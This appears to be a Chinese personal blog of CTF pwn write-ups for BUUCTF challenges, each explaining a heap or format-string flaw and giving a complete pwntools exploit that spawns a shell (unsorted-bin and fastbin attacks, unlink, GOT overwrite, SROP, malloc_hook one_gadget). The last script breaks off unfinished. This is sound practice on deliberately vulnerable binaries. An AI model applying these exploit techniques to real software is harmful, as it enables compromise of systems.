不做题就去似 做题区这一块

[ZJCTF 2019]EasyHeap

--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------

create: 一个指针数组 一共可以申请并记录十个chunk
edit: 可以往堆里写入任意 存在溢出
delete: 正常free 不存在uaf

if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}

我们需要让magic被一个大数覆盖 然后运行4869选项
很显然就是打unsortedbin attack
程序没有开启pie 这使得我们可以方便的覆盖
unsortedbin attack需要覆盖bk指针 bk->fd 会覆盖成main_arena 这里其实不用在意fd指针是否正确
综上 我们我们建立三个0x90大小的chunk
然后free掉第二个 用第一个的溢出覆盖bk指针就行

from pwn import *
p=process('./easyheap')
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendlineafter(b'Size of Heap :',str(len(data)).encode('l1'))
p.sendafter(b'Content of heap :',data)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def leet():
p.sendlineafter(b'Your choice :',b'4869')

create(0x80,b'a')
create(0x80,b'a')
create(0x80,b'a')
delete(1)
payload = b'a'*0x80 + p64(2213) + p64(0x91) + b'a'*8 + p64(0x6020C0 - 0x10)
edit(0,payload)
create(0x80,b'a')
leet()
p.interactive()

结果发现远程压根没有/home/pwn/flag文件 只能想其他办法
上面的方法没用
那么既然我们已经有system.plt地址 可以考虑got表覆盖 通过fastbindup来打
打fastbin需要我们拥有一个伪造的chunksize 在got表附近不太现实 一般会考虑在程序管理指针附近的位置伪造,然后控制指针
指针前面有IOfile 必然以0x7f结尾 这让我们有了利用的机会

0x6020b0 <stdin@@GLIBC_2.2.5>:  0x00007fa72edc38e0      0x0000000000000000
0x6020c0 <magic>: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray>: 0x000000002bc70010 0x000000002bc70080

也就是说 0x6020b0+8-3的位置开始的话 我们可以获得一个0x7f的long int数
那么我们只要利用fastbindup分配到0x6020b0+13的位置就行了 但是要注意fastbin是指向头部的 我们需要控制的指针是0x6020ad

create(0x60,b'a')
create(0x60,b'a')
delete(1)
edit(0,b'a'*0x68+p64(0x71)+p64(0x6020ad))
create(0x60,b'a')
create(0x60,b'a'*(0x6020E0-0x6020bd)+p64(0x0000000000602018))

gdb 检查一下 已经成功覆盖了

pwndbg> x/gx 0x0000000000602018
0x602018 <free@got.plt>: 0x000077302a883a70

然后写入0为system.plt
前面create1 的时候改成写入/bin/sh

from pwn import *
p=process('./easyheap')
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendlineafter(b'Size of Heap :',str(len(data)).encode('l1'))
p.sendafter(b'Content of heap :',data)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def leet():
p.sendlineafter(b'Your choice :',b'4869')

create(0x60,b'a')
create(0x60,b'a')
delete(1)
edit(0,b'a'*0x68+p64(0x71)+p64(0x6020ad))
create(0x60,b'/bin/sh')
create(0x60,b'a'*(0x6020E0-0x6020bd)+p64(0x0000000000602018))
edit(0,p64(0x400700))
delete(1)
p.interactive()

❯ python exp.py
[+] Starting local process './easyheap': pid 35286
[*] Switching to interactive mode
$ ls
babyheap_0ctf_2017 easyheap easyheap.id2 easyheap.zip
babyheap_0ctf_2017:Zone.Identifier easyheap.id0 easyheap.nam exp.py
core.24359 easyheap.id1 easyheap.til

打一下远程

❯ python exp.py
[+] Opening connection to node5.buuoj.cn on port 26206: Done
ls
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var

hitcontraining_uaf

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------

Add:
最多五个:
由一个8字节的chunk存储一个函数指针和chunk指针 chunk可以任意大小 申请同时需要输入内容
一个数组存储这些8字节的信息chunk

del:
会把信息chunk和数据chunk都free 但是全都没有归零 有uaf

print:
print行为非常抽象 总体来说 他会puts 数据chunk内的内容 然后puts刚才说的函数指针 函数指针里函数就是print_note_content 输出也是通过调用这个函数指针实现的
反正总体上来说 我们应该需要控制这个函数指针

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
*** Error in `./hacknote': double free or corruption (fasttop): 0x090b5018 ***

这里的doublefree是系统直接返回的 说明程序在第二次free没进行任何检查 我们利用fastbin的doublefree只检查最顶部的性质来doublefree

----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :1
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success

但是打fastbin的方法会因为malloc数上限而失败,需要考虑一些更简洁的方法
如果我们连续free两次 会有两个0x10大小的fastbin连接 这时候如果我们也申请0x10大小的数据chunk 就可以直接控制第一个被free的信息chunk
这样就可以覆盖到指针了


from pwn import *
p = process( './hacknote' )
def add(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Note size :',str(size).encode('l1'))
p.send(data)
def delete(index):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def dump(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))

add(48,b'a') #0
add(48,b'a') #1
delete(0)
delete(1)
magic = 0x08048945
add(8,p32(magic))
dump(0)
p.interactive()

axb_2019_fmt32

我一直都不太喜欢格式化字符串的题目 感觉太麻烦 但是考虑到这种题我做的太少了 所以找个标准化的练习一下
首先是要获得参数列表起始位置到格式化字符串的位置的偏移
可以用gdb查看地址然后计算 也可以直接盲打 这里都演示一遍

gdb查看地址:
下断点到printf(format) 的call printf之前 这里已经push了一个参数 也就是说 esp 指向的就是参数列表的开头

pwndbg> stack 60
00:0000│ esp 0xffffcb40 —▸ 0xffffcc60 ◂— 'Repeater:ss\n\n'
01:0004│-254 0xffffcb44 —▸ 0x804888d ◂— push edx /* 'Repeater:%s\n' */
02:0008│-250 0xffffcb48 —▸ 0xffffcb5f ◂— 0xa7373 /* 'ss\n' */
03:000c│-24c 0xffffcb4c ◂— 0x340
... ↓ 2 skipped
06:0018│-240 0xffffcb58 ◂— 0xd /* '\r' */
07:001c│-23c 0xffffcb5c ◂— 0x73000340
08:0020│-238 0xffffcb60 ◂— 0xa73 /* 's\n' */
09:0024│-234 0xffffcb64 ◂— 0
... ↓ 50 skipped
pwndbg> p/x $ebp-0x239
$1 = 0xffffcb5f

$ebp-0x239是ida给出的s字符串的位置

In [1]: (0xffffcb5f - 0xffffcb40)
Out[1]: 31

注意第0个参数是esp 也就是格式化字符串的地址 因此要减去4 31-4=27 那么我们填充一个字节 就是28 = 4*7 也就是第八个参数是格式化字符串

盲打:
先输入
aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p

Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Repeater:aaaa0x804888d/0xff8643af/0x340/0x340/0x340/0x56/0x61000340/0x25616161/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70

Please tell me:^C

在这里面找到0x61 可以看到在第七个和第八个都有出现 第七个里多一个 我们就填充一个b 然后再aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p

Please tell me:baaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Repeater:baaaa0x804888d/0xffb6ed5f/0x340/0x340/0x340/0x57/0x62000340/0x61616161/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025

这里就是对齐过的 第八个参数就是aaaa的位置 之后我们的payload都要加一个’b’

然后我们需要做的是泄露libc的地址 由于我们已经知道aaaa是第八个参数 可以用f“%{n}8s” 这种格式来输出指定参数的位置上的地址对应的字符串
例如如果我们输入b’b‘ + p32(puts.got) + b’%8$s’ 就能输出puts的got内的内容
输出之后 这一题我们使用got表覆盖的方式来打
我们用fmtstr_payload 来快速生成写入的payload

fmtstr_payload(offset , writes,numbwritten ,write_size)
第一个参数是偏移 前面已经试出来第八个参数 这里就填8
writes是一个字典 {} 左边是要写入的位置 右边是要写入的值
numbwritten是已经输出的个数这里是Repeater:b 也就是 10
综上我们第二个payload就是

payload = b'a' + fmtstr_payload(8,{printf_got:system_libc},10)

由于system前面有个Repeater: 所以我们先打个分号

[+] Starting local process './axb_2019_fmt32': pid 19622
0xf7d191d0
/home/juryorca/pwn/Buuctf/axb_2019_fmt32/exp.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.send(payload)
[*] Switching to interactive mode
Y\xda\xf7
Please tell me:Repeater:a \x8d \xcf @ @aaa\x15\xa0\x04\x08\x14\xa0\x04\x08\x16\xa0\x04\x08\x17\xa0\x04\x08
sh: 1: Please: not found
sh: 1: Repeater:: not found
$ ls
axb_2019_fmt32 axb_2019_fmt32.id1 axb_2019_fmt32.nam exp.py
axb_2019_fmt32.id0 axb_2019_fmt32.id2 axb_2019_fmt32.til
$
[*] Interrupted
[*] Stopped process './axb_2019_fmt32' (pid 19622)
from pwn import *
context(arch = 'i386')
p=process ( './axb_2019_fmt32')
printf_got = 0x0804A014
payload = b'b' + p32(printf_got) + b'%8$s'
p.send(payload)
p.recvuntil(p32(printf_got))
printf_libc =u32( p.recv(4) )
print(hex(printf_libc))
libc_base = printf_libc-(0xf7d821d0-0xf7d28000)
system_libc =libc_base + 0x000524c0
payload = b'a' + fmtstr_payload(8,{printf_got:system_libc},10)
p.send(payload)
payload = ';/bin/sh'
p.recv(1)
p.send(payload)
p.interactive()

打远程的时候注意libc版本问题。

hitcontraining_heapcreator

这题是我自主写的 不过相比网上的wp写的复杂了,思维太公式化这一块
我自己的思路是利用off-one-byte伪造出向前合并 大致是 从第三块合并到第一块 这样重新申请出来的就可以控制到和第二块的重叠
并且在unsortedbin切割的过程中可以通过main_arena 泄露出libc地址 然后通过控制指针来覆盖got表

具体流程如下:

先申请四次

create(0x80,b'a')
create(0x88,b'a')
create(0x60,b'a')
create(0x80,b'/bin/sh\x00')

第四个用于当作边界防止unsortebbin和top_chunk合并,同时写入/bin/sh便于后续运行system(‘/bin/sh’)
第三块的大小是刻意设计的 0x70+0x20是0x90 如果覆盖size进行重叠 0x90正好能进入unsortebin 而0x70进入fastbin
fastbin不会重置后一块的prev_inuse ,使得程序不会因为double free检查崩溃
第一块用于free之后和第三块进行合并
第二块是被重叠的

进行第三部分 指针chunk的prev_size 和size伪造

edit(1,b'a'*0x80+p64(0x90+0x20+0x90)+b'\x90')

先free 第一部分 再free 第三部分

delete(0)
delete(2)

这时候重叠已经完成 unsortedbin从第一部分数据chunk开始一直到第三部分数据chunk结束
申请0x90+0x20大小的chunk 这样fd和bk数据会被填入第二部分的数据chunk

create(0x90+0x20-0x10,b'a')
main_arena=u64(show(1).ljust(8,b'\x00'))

这时候再申请任意大小 ,就会有一个指针chunk和第二部分的数据chunk重叠 可以覆盖指针

create(0x30,b'a')

后续就不说了 相对来说比较简单

总的exploit

from pwn import *

#p = process('./heapcreator')
p = remote('node5.buuoj.cn',25550)
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :' ,str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendafter(b'Content of heap :',data)
def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.recvuntil(b'Content : ')
return p.recvline().rstrip(b'\n')
def delete(index):
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'Index :',str(index).encode('l1'))

create(0x80,b'a')
create(0x88,b'a')
create(0x60,b'a')
create(0x80,b'/bin/sh\x00')
edit(1,b'a'*0x80+p64(0x90+0x20+0x90)+b'\x90')
delete(0)
delete(2)
create(0x90+0x20-0x10,b'a')
main_arena=u64(show(1).ljust(8,b'\x00'))
create(0x30,b'a')
# 45390 system
libc_base = main_arena - (0x7602b25c4b78-0x7602b2200000)
system = libc_base + 0x45390
print(hex(libc_base))
print(hex(system))
free_got = 0x602018
payload = p64(0x30)+p64(free_got)
edit(1,payload)
edit(2,p64(system))
delete(3)
p.interactive()

我说这个过程麻烦 其实是我的过程包含了预期解的过程 并且预期解更简单
就是构造重叠不一定需要合并 其实只需要修改size并free 如果两个fastbin重叠 申请过来自然就重叠了 而我们刚才的第三部分已经有了fastbin和unsortedbin的重叠
那么如果我们第三部分申请的是0x20大小 然后覆盖size为0x40 再申请回来 数据chunk自然会和指针chunk重叠。
然后控制指针任意读任意写就行了。

0ctf_2017_babyheap

这题之前参考wp写过一次 但是这次是自主写的 和wp比对了一下 发现之前的写法相对 麻烦 目前的写法可能还能优化 主要是在构造重叠方面
程序功能大致如下
allocate:任意大小申请,有初始化
fill:填充 可以溢出
delete:free 有归零
dump:输出

我这次的思路是伪造fake chunk头,覆盖大小 然后通过unsortedbin free检查的缺陷 造成重叠
流程:

申请阶段
allocate(0x30)
allocate(0x80)
allocate(0x80)
allocate(0x30)
allocate(0x60) #4
allocate(0x60)
allocate(0x60)
4开始是为了后续打fastbindup用的可以不管 3是用来隔离的
主要看1和2
我们覆盖1的大小使得1大小变大 然后free掉,这时候产生一个存在和2重叠的unsortedbin
注意unsortebinfree时会对下一个chunk检查 为了构造重叠 我们这里覆盖1大小为0xb0 那么下一个大小就是0x70 size应该填入0x71
这里覆盖完之后直接free1
然后再申请回来
这时候1和2已经重叠了 但是2的data被破坏了 手动修复一下就行
然后再free2即可泄露main_arena
泄露了之后就是fastbin dup打到malloc_hook这个比较简单就不说了
相对来说可以优化的地方是构造重叠第一个chunk可以是fastbin 检查会少点。

ciscn_2019_n_3

这一题和hitcontraining_uaf思路特别类似 甚至比那个更简单
也是删除两次 然后申请一个大小和带指针chunk一致的数据chunk 就能构造重叠 结合uaf就能打system(“/bin/sh“)
但是这题只给四个字节 所以改打system(“sh”)

from pwn import *
p = remote('node5.buuoj.cn',27652)
def new_int(index,num):
p.sendlineafter(b'CNote >',b'1')
p.sendlineafter(b'Index >',str(index).encode('l1'))
p.sendlineafter(b'Blob type:' , b'1')
p.sendlineafter(b'Value >',str(num).encode('l1'))
def new_text(index,lenth,data):
p.sendlineafter(b'CNote >',b'1')
p.sendlineafter(b'Index >',str(index).encode('l1'))
p.sendlineafter(b'Blob type:' , b'2')
p.sendlineafter(b'Length >',str(lenth).encode('l1'))
p.sendlineafter(b'Value >',data)
def delete(index):
p.sendlineafter(b'CNote >',b'2')
p.sendlineafter(b'Index >',str(index).encode('l1'))
new_int(0,1)
new_int(1,1)
delete(1)
delete(0)
new_text(2,12,b'sh\x00\x00'+p32(0x08048500))
delete(1)
p.interactive()

babyfengshui

add: 申请任意大小,会初始化 。再申请一个0x80大小的管理chunk
delete: 删除 会把0x80的管理chunk指针归零,但是不会重置管理chunk的数据
display: 输出
update: 编辑 用了个很奇怪的手段 就是写入字节不能超过管理chunk的size起点

很显然漏洞就在update里 它默认两个时紧邻的 但这显然不现实 我们只要在前面free过一个0x88大小的chunk 然后申请0x88大小的chunk 数据chunk就会分配到非常前面
后面就很简单了 能控制指针没有pie的程序的统一套路

from pwn import *

#p = process('./babyfengshui_33c3_2016')
p = remote('node5.buuoj.cn', 29879)
def add(size):
p.sendlineafter(b'Action: ' , b'0')
p.sendlineafter(b'size of description:',str(size).encode('l1'))
p.sendlineafter(b'name: ',b's')
p.sendlineafter(b'text length:',str(size).encode('l1'))
p.sendlineafter(b'text: ',b'a')
def delete(index):
p.sendlineafter(b'Action: ' , b'1')
p.sendlineafter(b'index: ',str(index).encode('l1'))
def display(index):
p.sendlineafter(b'Action: ' , b'2')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.recvuntil(b'description: ')
return(p.recvline().rstrip(b'\n'))
def update(index,data):
p.sendlineafter(b'Action: ' , b'3')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.sendlineafter(b'text length: ',str(len(data)).encode('l1'))
p.sendlineafter(b'text: ',data)

add(0x20)
add(0x20)
delete(0)
add(0x80)
free_got = 0x0804B010
update(2,b'/bin/sh\x00'+b'a'*0x78+p32(0)+p32(0x29)+b'a'*0x20+p32(0)+p32(0x89)+p32(free_got))
leak = display(1)
free_libc = u32(leak[:4])
print(hex(free_libc))
libc_base = free_libc - (0xf7da0750-0xf7d30000)
system_libc = libc_base + 0x0003a940
update(1,p32(system_libc))
delete(2)
p.interactive()

stkof

非常经典的一题 unlink的基础模板
打unlink的时候要注意是要在被free的chunk上一个chunk里面伪造chunk头 因为我们指针一般从数据开始 但是unsortedbin管理指针一般从head开始
然后就是套路过程 不多说

from pwn import *
p = remote('node5.buuoj.cn',27474)
def new(size):
p.sendline(b'1')
p.sendline(str(size).encode('l1'))
p.recvuntil(b'OK')
def edit(index,data):
p.sendline(b'2')
p.sendline(str(index).encode('l1'))
p.sendline(str(len(data)).encode('l1'))
p.send(data)
p.recvuntil(b'OK')
def delete(index):
p.sendline(b'3')
p.sendline(str(index).encode('l1'))

new(0x20)
new(0x50)
new(0x90)
new(0x80)
new(0x20)
ptr =0x602158
edit(2,b'a'*0x58+p64(0xa1)+ p64(ptr-0x18) + p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0x70+p64(0x90)+p64(0x90))
delete(4)
edit(3,p64(0)+p64(0x602018))
edit(1,p64(0x400760))
edit(3,p64(0)+p64(0x602020))
delete(1)
p.recvuntil(b'OK\n')
puts_libc = u64(p.recvline().strip(b'\n').ljust(8,b'\x00'))
# 0x7d7d1d46f690-0x7d7d1d400000
libc_base = puts_libc - (0x7d7d1d46f690-0x7d7d1d400000)
# system 0000000000045390
system_libc = libc_base + 0x0000000000045390
edit(3,p64(0)+p64(0x602018))
edit(1,p64(system_libc))
edit(5,b'/bin/sh\x00')
delete(5)
p.interactive()

pwnable_hacknote

和前面有个叫hacknote的非常相似 但是这题用到一个trick
因为我们覆盖完system后参数也是指向system地址的 解决这个问题就是在这个地址后面加’;sh\x00’

mrctf2020_easy_equation

比较简单的格式化字符串 区别是是64位的

from pwn import *
p = remote('node5.buuoj.cn',27922)
#p = process('./mrctf2020_easy_equation')
payload = b'1%1$c%9$n'+p64(0x60105C)
p.sendline(payload)
p.interactive()

./ciscn_2019_es_7

基本上是工具的使用 最后rop链要求满足
p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe)
sigreturn_addr 是mov rax ,15;ret 的gadget

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64')

#p=process("./ciscn_2019_es_7")
p=remote('node5.buuoj.cn',27972)

syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
ret = 0x4003a9
rax=0x4004f1

p.send(b"/bin/sh"+b"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr -0x118
sigframe.rip = syscall_ret
p.send(b"/bin/sh\x00"*2+p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe))

p.interactive()

roarctf_2019_easy_pwn

这题最后有个手法比较神奇,然后中间涉及off_one_byte之后 如何利用,值得记录
add:可以申请任意大小
write:堆内写入,有1字节溢出
drop: 删除 会归零
show:输出

总体上没有直接的uaf 但是这个结构明显是off-one-byte
我们能最大申请的是0x100 但是如果要覆盖后面的size ,我们得申请0x98或者0x88 因为当我们输入大于0x101的数会被强制变成10
流程如下:
add(0x88) #0
add(0x100) #1
add(0x100) #2
add(0x30) #3 做边界
write(1,b’a’*0xf0+p64(0x100)+p64(0x11)) 伪造prev_size
delete(1)
write(0,b’a’0x88+b’\x00’,1)
add(0x80) #1
add(0x10) #4
add(0x10) #5
其实5不需要
delete(1)
delete(2)
这时候已经发生向前合并 创造一个2和1的大空间
add(0x88) #1
这时候在4的位置 会有fd和bk指针 用于泄露libc
找到malloc_hook - 0x23 我们分配到那个位置 作为chunk起点
add(0x60) #2
add(0x60) #6
用来打fastbindup
delete(6)
delete(2)
write(4,p64(target))
add(0x60) #2
add(0x60) #6 ,会控制到malloc_hook-0x13
write(6,b’a’
(0x13-8)+p64(one_gadget)+p64(realloc))
print(one_gadget)
add(1)
p.interactive()

这里我们覆盖了realloc_hook为one_gadget
malloc_hook为realloc
因为直接one_gadget全不通 就中途经过一个函数 调整栈状态看看能否打通

from pwn import *
#p = process('./roarctf_2019_easy_pwn')
p = remote('node5.buuoj.cn',26051)
def add(size):
p.sendlineafter(b'choice:',b'1')
p.sendlineafter(b'size:',str(size).encode('l1'))
def write(index,data,poison = 0):
if poison :
lenth = len(data)-1+10
else:
lenth = len(data)
p.sendlineafter(b'choice:',b'2')
p.sendlineafter(b'index:',str(index).encode('l1'))
p.sendlineafter(b'size:',str(lenth).encode('l1'))
p.sendafter(b'content: ',data)
def delete(index):
p.sendlineafter(b'choice:',b'3')
p.sendlineafter(b'index:',str(index).encode('l1'))

def show(index):
p.sendlineafter(b'choice:',b'4')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.recvuntil(b'content: ')
return p.recvuntil(b'Note system').rstrip(b'Note system')
add(0x88) #0
add(0x100) #1
add(0x100) #2
add(0x30) #3
write(1,b'a'*0xf0+p64(0x100)+p64(0x11))
delete(1)
write(0,b'a'*0x88+b'\x00',1)
add(0x80) #1
add(0x10) #4
add(0x10) #5
delete(1)
delete(2)
add(0x88) #1
leak = u64(show(4)[:8])
libc_base = leak - (0x70423abc4b78-0x70423a800000)
malloc_hook = libc_base+(0x7710c1bc4b10- 0x7710c1800000)
target = malloc_hook - 0x23
#0x45216 0x4526a 0xf02a4 0xf1147
one_gadget = libc_base + 0x4526a
realloc = libc_base + 0x00000000000846c0
print(hex(libc_base))

add(0x60) #2
add(0x60) #6
delete(6)
delete(2)
write(4,p64(target))
add(0x60) #2
add(0x60) #6 ,会控制到malloc_hook-0x13

write(6,b'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
print(one_gadget)
add(1)
p.interactive()


npuctf_2020_easyheap

这题和之前sekaictf遇到的一个非常相似,但是sekaictf那个是覆盖一个超大的size生成unsortedbin以泄露libc 这题我们无法申请大的chunk 只能malloc(0x18) 和 malloc(0x38) 要产生unsortedbin非常麻烦 不过幸好pie关闭 可以直接覆盖指针到got表去泄露。

同时tcachebin 的检查更少 覆盖size后free操作对下一块没任何检查 这使得利用更加简便

  1. add : 可以申请0x18与0x38 大小,先会申请一个管理chunk malloc(0x10)

  2. edit : 可以多一个字节编辑 这使得size覆盖得以实现

  3. show: 打印 用的是%s

  4. delete: 先删除数据chunk 再删管理chunk

由于前面这种重叠涉及多次 我就不细说思路怎么来的了 直接上流程:

add(1) #0
add(1) #1
edit(0,b'a'*24+b'\x41')
delete(1)
add(2) #1

这就直接产生重叠了 可以看到tcache要构造重叠非常轻松

然后就是覆盖指针 泄露libc 覆盖got表

全部payload

from pwn import *

#p = process('./npuctf_2020_easyheap')
p = remote('node5.buuoj.cn',26825)
def add(size):
if size == 1:
size = 24
else :
size = 56
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) :',str(size).encode('l1'))
p.sendafter(b'Content:',b'a')
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendafter(b'Content: ',data)
def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.recvuntil(b'Content : ')
return(p.recvline().rstrip(b'\n'))
def delete(index):
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'Index :',str(index).encode('l1'))
add(1) #0
add(1) #1
edit(0,b'a'*24+b'\x41')
delete(1)
add(2) #1
edit(1,b'a'*0x18+p64(0x21)+p64(0x38)+p64(0x602018))
free_libc = u64(show(1)+b'\x00\x00')
libc_base = free_libc - 0x0000000000097950
print(hex(libc_base))
system_libc = libc_base + 0x000000000004f440
edit(1,p64(system_libc))
edit(0,b'/bin/sh\x00')
delete(0)
p.interactive()

hitcontraining bamboobox

这题和前面有一题几乎一致! 见前文的stkof

不过当我写完这题发现main里面有个malloc申请的存储函数指针的堆块我压根没用过

网上搜到说是可以用house of force分配到那里

[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink)_bamboobox pwn-CSDN博客

ACTF_2019_babyheap

这题和之前有个特别像

我就不细说了,主要是我把data段的binsh漏了导致多了一步泄露heap地址 虽然写出来了 但是但凡多点限制我可能就寄了

from pwn import *

#p = process('ACTF_2019_babyheap')
p = remote('node5.buuoj.cn',28944)
def menu(index):
p.sendlineafter(b'Your choice:',str(index).encode('l1'))
def add(size,data):
menu(1)
p.sendlineafter(b'Please input size:',str(size).encode('l1'))
p.sendafter(b'Please input content:',data)
def delete(index):
menu(2)
p.sendlineafter(b'Please input list index:',str(index).encode('l1'))
def dump(index):
menu(3)
p.sendlineafter(b'Please input list index:',str(index).encode('l1'))
p.recvuntil(b'Content is \'')
return p.recvuntil(b'\'').rstrip(b'\'')
add(0x20,b'/bin/sh\x00')
add(0x20,b'/bin/sh\x00')
add(0x20,b'/bin/sh\x00')
delete(1)
delete(2)
add(0x10,p64(0x602060))
leak = u64(dump(1).ljust(8,b'\x00'))
binsh = leak+0x20
delete(3)
add(0x10,p64(binsh)+p64(0x4007a0))
p.interactive()




joker

axb_2019_heap

稍微有点难度的题

name 输入%3$p 泄露write + 16 , %11$p 泄露main+28

add 申请任意大小 但是大于0x80 即不可使用fastbin

note数组存储chunk信息 前8字节存储chunk指针 后8字节存储size信息

然后输入size大小

delete 指针会归零

edit 编辑 有off_one_byte 且不是off_by_null

思路:

覆盖prev_size ,到上一个chunk的fake chunk 打unlink控制指针 为 -0x18 ,但是开启了full relro 程序里有个可以申请fastbin的方法 ,unlink覆盖了key后打fastbin dup 到malloc hook


from pwn import *
#p = process('./axb_2019_heap')
p = remote('node5.buuoj.cn',26685)
def menu(index):
p.sendlineafter(b'>> ',str(index).encode('l1'))
def add(index,size,data):
menu(1)
p.sendlineafter(b'Enter the index you want to create (0-10):',str(index).encode('l1'))
p.sendlineafter(b'Enter a size:',str(size).encode('l1'))
p.sendafter(b'Enter the content: ',data)

def delete(index):
menu(2)
p.sendlineafter(b'Enter an index:',str(index).encode('l1'))

def edit(index,data):
menu(4)
p.sendlineafter(b'Enter an index:',str(index).encode('l1'))
p.sendafter(b'Enter the content:',data)

p.sendline('%11$p,%3$p')
p.recvuntil(b'Hello, ')
leak = int(p.recvuntil(b',',True).decode('l1'),16)
text_base = leak-(0x5f9d77e01186-0x5f9d77e00000)
print(hex(text_base))
leak = int(p.recvline().decode('l1'),16)
libc_base = leak-(0x7274e28f72c0-0x7274e2800000)
print(hex(libc_base))
add(0,0x98,p64(0)+p64(0x91)+b'a'*0x88+b'\x00')
add(1,0x81,b'a'*0x82)
add(2,0x81,b'/bin/sh\x00'+b'a'*(0x82-8))
ptr = text_base+0x202060
key = text_base+0x202040
edit(0,p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0x70+p64(0x90)+b'\x90')
delete(1)
system_libc = libc_base + 0x0000000000045390
edit(0,(p64(0)*3+p64(key)+p64(7)).ljust(0x9a,b'\x00'))
edit(0,p64(43))
add(3,0x18,b'a'*0x18+b'\x01')
add(4,0x10,b'a'*0x11)
add(5,0x60,b'a'*0x61)
add(6,0x60,b'a'*0x61)
edit(3,b'a'*0x18+b'\x91')
delete(4)
add(4,0x80,b'b'*0x18+p64(0x71)+b'a'*0x61)
delete(6)
delete(5)
malloc_hook = libc_base + (0x7e4bf2fc4b10-0x7e4bf2c00000)
edit(4,b'b'*0x18+p64(0x71)+p64(malloc_hook-0x23)+b'a'*0x59)
add(5,0x60,b'a'*0x61)
# 0x45216 0x4526a 0xf02a4 0xf1147
memalign = libc_base +0x0000000000084aa0
one_gadget = libc_base + 0xf1147
